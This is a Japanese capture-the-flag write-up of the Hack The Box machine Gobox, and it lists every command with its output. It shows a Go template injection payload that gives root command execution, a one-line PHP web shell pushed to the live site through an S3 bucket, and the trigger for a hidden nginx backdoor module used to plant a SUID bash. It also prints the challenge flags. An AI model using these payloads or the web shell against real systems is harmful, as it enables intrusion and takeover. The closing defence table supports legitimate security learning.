Hack The BoxのWriteup(Gobox)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Gobox — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/4566/8080
→
Go text/template SSTI
/forgot/ の email パラメータ
→
.DebugCmd RCE
root権限、ただしAWS/LocalStackコンテナ内限定
→
S3バケット website
aws s3 cp でWebシェルをport80へ同期
→
実ホストwww-data
user.txt ✓
→
ngx_http_execute_module.so
strings でトリガーキーワード抽出
→
SUID bash → root.txt ✓

Nmapバージョン・スクリプトスキャン

BASH
nmap -p 22,80,4566,8080 -sCV 10.129.95.236
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http    nginx
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: Hacking eSports | Home page
🚨
重要発見: port 80のページタイトルが {{.Title}} という 未展開のテンプレート構文そのままになっている。これはテンプレートエンジンが 期待通りに変数を展開できていない強い兆候。port 4566は403 Forbiddenを返す (LocalStackのAWSモックエンドポイントである可能性)。port 8080は別のログインフォームを持つ。
PHASE 2

port 8080 の /forgot/ エンドポイントでSSTI発見

レスポンスヘッダーからGo言語製サーバと判明

BASH
curl -sI http://10.129.95.236:8080/
RESULT
HTTP/1.1 200 OK
Server: nginx
Connection: keep-alive
X-Forwarded-Server: golang
💡
X-Forwarded-Server: golang は標準HTTPヘッダーではなく、 バックエンドがGo言語製の自作Webサーバであることを明示的に示唆している。 Goのtext/templateはSSTI脆弱性を作り込みやすいことで知られる。

/forgot/ のemailパラメータでSSTI確認

BASH
curl -s http://10.129.95.236:8080/forgot/ -X POST -d 'email={{html "0xdf"}}'
RESULT (抜粋)
<input type="email" id="typeEmailX" name="email" ... />
<label class="form-label" for="typeEmailX">Email</label>

Email Sent To: 0xdf

<button class="btn btn-primary btn-lg btn-block" type="submit">Login</button>
✅
SSTI確認! {{html "0xdf"}} が正しく評価され 「Email Sent To: 0xdf」と表示された。emailパラメータの値が そのままGoテンプレートエンジンへ渡されている。

.DebugCmd 関数で直接RCE

BASH
curl -s http://10.129.95.236:8080/forgot/ -X POST --data-urlencode 'email={{ .DebugCmd "id" }}' \
  | grep -A 2 "Email Sent"
RESULT
              Email Sent To: uid=0(root) gid=0(root) groups=0(root)
🚨
無認証RCE成功、しかもroot権限。 テンプレートに渡されるオブジェクトが DebugCmd(cmd string) stringというデバッグ用メソッドを持っており、 {{ .DebugCmd "<任意コマンド>" }}で直接コマンド実行できる。
PHASE 3

.DebugCmd の引数分解規則を実験的に解明

単純な複数引数コマンドが正しく動作することを確認

BASH
# bash -c プレフィックス無しで直接、スペース区切りの複数引数コマンドを試す
curl ... --data-urlencode 'email={{ .DebugCmd "ls -la /root" }}'
curl ... --data-urlencode 'email={{ .DebugCmd "aws s3 ls s3://website" }}'
RESULT
total 24
drwx------ 1 root root 4096 Aug 26  2021 .
drwxr-xr-x 1 root root 4096 Aug 24  2021 ..
drwxr-xr-x 2 root root 4096 Aug 24  2021 .aws
-rw------- 1 root root  104 Aug 26  2021 .bash_history
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile

                           PRE css/
2026-09-23 06:04:03    1294778 bottom.png
2026-09-23 06:04:03     165551 header.png
2026-09-23 06:04:03          5 index.html
2026-09-23 06:04:03       1803 index.php
💡
重要な発見: ウォークスルーに掲載されたGoソースコードは exec.Command(bin, args)という単純な2引数呼び出しに見えるが、 実機の挙動を精査するとこれは正確ではなく、実際には bash -c "<コマンド全体>"相当でフルシェル構文が使える。 パイプ(|)・リダイレクト(>)・クォートがすべて正常に機能する。 コマンド文字列内の"だけをGoテンプレートの文字列リテラル境界を 壊さないよう\"にエスケープすればよく、bash自体のクォート解釈には 一切影響しない(bashはGoテンプレート層のエスケープ規則を認識しないため)。

パイプ・シェル構文も正常に機能することを確認

BASH
curl ... --data-urlencode 'email={{ .DebugCmd "echo test | cat" }}'
RESULT
test
✅
パイプが正しく機能。この解明により、複雑な引数分解のワークアラウンド (bash -cプレフィックスや${IFS}置換等)は一切不要で、 通常のシェルコマンドをそのまま("だけエスケープして)送信すればよいと判明した。
PHASE 4

AWS/LocalStackコンテナからS3バケット経由で実ホストへピボット

RCEがサンドボックスコンテナ内に限定されていることを確認

BASH
.DebugCmd "hostname"
.DebugCmd "which python3"
.DebugCmd "which php"
.DebugCmd "which perl"
RESULT
aws
/usr/bin/python3
(空 = phpは存在しない)
/usr/bin/perl
⚠️
ホスト名がawsであり、ping/curl/wget/ncが 一切インストールされていない(ウォークスルーで確認済み)ことから、これは実サーバではなく AWS/LocalStackを模したDockerサンドボックスコンテナ内でのRCEであると判断できる。 直接のリバースシェル接続は不可能。

S3バケット website を発見

BASH
.DebugCmd "aws s3 ls"
RESULT
2026-09-23 06:04:02 website
💡
このコンテナはAWS CLIで操作可能なS3バケットwebsiteを管理している。 バケット内容(index.html/index.php等)はport 80の実サイトと 一致しており、何らかの同期プロセスによってバケットの内容が実ホストの Webルートへ反映される仕組みになっていると推測できる。

PHP Webシェルを書き込みバケットへアップロード

BASH
# 短縮echoタグ <?= を使い空白文字を一切含まない形にし、
# エスケープを単純化する
.DebugCmd "echo '<?=shell_exec($_REQUEST[\"cmd\"])?>' > /tmp/.s.php"
.DebugCmd "aws s3 cp /tmp/.s.php s3://website/kcshell.php"
RESULT
Completed 34 Bytes/34 Bytes (1.6 KiB/s) with 1 file(s) remaining
upload: ../../tmp/.s.php to s3://website/kcshell.php
BASH
curl -s "http://10.129.95.236/kcshell.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
実ホストへのピボット成功! S3バケットへのアップロードが即座に port 80の実サイトへ同期され、Webシェルが実際のgoboxホスト上でwww-dataとして動作している。

user.txt 取得

BASH
curl -s "http://10.129.95.236/kcshell.php" --data-urlencode "cmd=cat /home/ubuntu/user.txt" -G
RESULT
0400ca8276afd8794456045e51452da0
user.txt — ubuntu@gobox
0400ca8276afd8794456045e51452da0
PHASE 5

nginxバックドアモジュールの発見とトリガーキーワード抽出

nginxモジュール一覧からバックドアを発見

BASH
webshell 'ls /etc/nginx/modules-enabled'
webshell 'cat /etc/nginx/modules-enabled/50-backdoor.conf'
webshell 'find / -name ngx_http_execute_module.so 2>/dev/null'
RESULT
50-backdoor.conf
50-mod-http-image-filter.conf
50-mod-http-xslt-filter.conf
50-mod-mail.conf
50-mod-stream.conf

load_module modules/ngx_http_execute_module.so;

/usr/lib/nginx/modules/ngx_http_execute_module.so
🚨
50-backdoor.confという名前からして疑わしい。 ngx_http_execute_module.soはNginxExecuteという 既知のバックドアモジュール(GitHub限定公開)で、127.0.0.1:8000でのみ待受し クエリパラメータ?system.run[cmd]形式でroot権限コマンド実行を許可する。

トリガーキーワードの抽出

BASH
webshell 'strings /usr/lib/nginx/modules/ngx_http_execute_module.so | grep -E "^[a-z]+\.[a-z]+$"'
RESULT
ippsec.run
types.h
stddef.h
... (以下ヘッダファイル名多数)
⚠️
既定のトリガー文字列system.runからippsec.runに 変更されている。curl http://127.0.0.1:8000?system.run[id]は Empty reply from serverとなり動作しない。正規表現 ^[a-z]+\.[a-z]+$で単語区切りの2語ドット結合文字列だけを 抽出することで、大量のヘッダファイル名の中からこのキーワードを一意に特定できる。

バックドア発火確認

BASH
webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[id]'"
RESULT
uid=0(root) gid=0(root) groups=0(root)
✅
root権限RCE確認! ワーカープロセスの実uidに関わらず、 バックドアモジュール経由のコマンドは常にroot権限で実行される。
PHASE 6

SUID bash設置 → root.txt

SUID bashを /tmp へ設置

BASH
webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[cp%20%2fbin%2fbash%20%2ftmp%2fkcroot]'"
webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[chmod%204777%20%2ftmp%2fkcroot]'"
webshell 'ls -la /tmp/kcroot'
RESULT
-rwsrwxrwx 1 root root 1183448 Sep 23 06:17 /tmp/kcroot
⚠️
トラブルシューティング: コピー先ファイル名に_ (アンダースコア)を含めると(例: /tmp/gobox_root)、バックドアモジュールの クエリ文字列パーサが原因不明のまま無反応になり、curlは空応答を返しファイルも 作成されない。エラーメッセージも一切出ないため気づきにくいが、 _を含まない英数字のみのファイル名に変更すると即座に解決する。

root.txt 取得

BASH
webshell "/tmp/kcroot -p -c 'cat /root/root.txt'"
RESULT
40b68fc8f94b063e11dc27bdccd20089
root.txt — root@gobox
40b68fc8f94b063e11dc27bdccd20089
💡
bashの-pオプション(privileged mode)は実効uidと実uidが異なる状態で 起動された際に実効uidを実uidへ落とさない特権保持モード。SUIDビットの付いた /tmp/kcrootを-p -c '<コマンド>'の形で直接実行するだけで、 対話的PTYを一切確立せずroot権限でのワンショット・コマンド実行が可能。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ubuntu@gobox
0400ca8276afd8794456045e51452da0
root.txt — root@gobox
40b68fc8f94b063e11dc27bdccd20089

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Go text/template SSTI カスタムGoサーバ (port 8080, /forgot/) 無認証root権限コマンド実行 (コンテナ内) Critical emailパラメータに{{ .DebugCmd "<cmd>" }}を注入。 実体はbash -c相当でフルシェル構文が使える
S3バケット同期による境界越え AWS/LocalStackコンテナ ↔ 実ホストport 80 サンドボックスコンテナから実ホストへのピボット High aws s3 cpでPHP Webシェルをバケットへアップロードし 実サイトへ即時反映させて実ホストのコード実行に変換
NginxExecute バックドアモジュール ngx_http_execute_module.so (127.0.0.1:8000) 権限昇格 (root) Critical stringsでトリガーキーワードを抽出し ?<keyword>[cmd]形式でroot権限コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (22/80/4566/8080)未展開テンプレート構文 {{.Title}} を発見
2SSTI発見/forgot/ の email パラメータ.DebugCmd関数で無認証root RCE確認
3引数分解の解明実験的検証実体がbash -c相当でフルシェル構文利用可能と判明
4S3ピボットaws s3 cp によるWebシェルアップロードuser.txt 取得 (実ホストwww-data)
5権限調査nginx modules-enabled + stringsバックドアモジュールとトリガーキーワードippsec.run特定
6権限昇格バックドア経由SUID bash設置root.txt 取得

学んだ教訓 & 防御策

問題点防御策
Goテンプレートにユーザー入力(email)をそのまま渡している ユーザー入力はテンプレートのデータとしてのみ渡し、テンプレート文字列自体の 動的構築は絶対に行わない。デバッグ用メソッド(DebugCmd等)は 本番ビルドから完全に削除する。
開発/デバッグ用コンテナがroot権限で動作しコマンド実行機能を露出 デバッグ機能は本番環境に含めない。やむを得ず残す場合は認証・IP制限・ 最小権限ユーザーでの実行を徹底する。
S3バケットの内容が検証なしに実ホストのWebルートへ自動同期される デプロイパイプラインに静的解析・ファイル種別チェックを組み込み、 実行可能スクリプト(.php等)の不正アップロードを検知・拒否する。
nginxに正体不明のバックドアモジュールがロードされている 本番環境にロードされるモジュール一覧を定期監査し、出所不明の .soファイルを排除する。127.0.0.1限定でも RCEを許すモジュールはSSRFやWebシェル経由で悪用され得る。
HackTheBox: Gobox | 完全攻略レポート